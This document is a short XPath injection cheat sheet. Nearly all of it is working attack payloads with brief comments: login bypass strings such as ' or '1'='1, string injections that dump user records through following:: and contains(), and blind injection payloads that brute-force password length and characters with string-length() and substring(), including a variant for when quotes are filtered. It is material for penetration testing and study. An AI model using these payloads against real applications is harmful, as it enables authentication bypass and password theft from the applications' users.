XPath Injections

Basic authentication bypass

# XPath login/password often works as follow
# $xpath = "//user[user='" . $_GET['user'] . "' and pass='" . $_GET['pass'] . "']";

# You can make the 2 conds TRUE and log with the first user
user=' or '1'='1&pass=' or '1'='1

# Log using a specific user
//user[username='' or '1'='1' and password='truc']
⇒ John' or '1'='1

# Bypass the password (because of the ‘=’)
' or username='John' or ''='

String XPath Injection

# You can use following: to display all the following attributes after the node
a')]/following::*[('1'='1

# You can inject in the contains()
# Just bypass the first condition to get out of //user/username and then display the whole user content
search=')] | //user/*[contains(*,'

# You can just escape username to request password field
search=Har')%20and%20contains(../password,'c
search=Har') and starts-with(../password,'c

Blind XPath Injection

# Identify columns
&userid=2 and password

# The first thing is to retrieve the password length, through boolean expression
# First is wrong OR user1 displayed if password is 10 long OR user2 displayed
userid=22222 ] | //user[1][userid=1 and string-length(//user[2]/password)=10] | //user[userid=2

# Then you can start to bruteforce char
userid=1 and substring(//user[1]/password,1,1)='p'

# If quotes are filtered, you can use others XML objects to compare (limited dictionnary)
# First is wrong OR user1 displayed if the user2's password first char = user1's username first char OR user2 displayed
userid="22222 ] | //user[1][userid=1 and substring(//user[2]/password,1,1)=substring(//user[1]/username,1,1) ] | //user[userid=2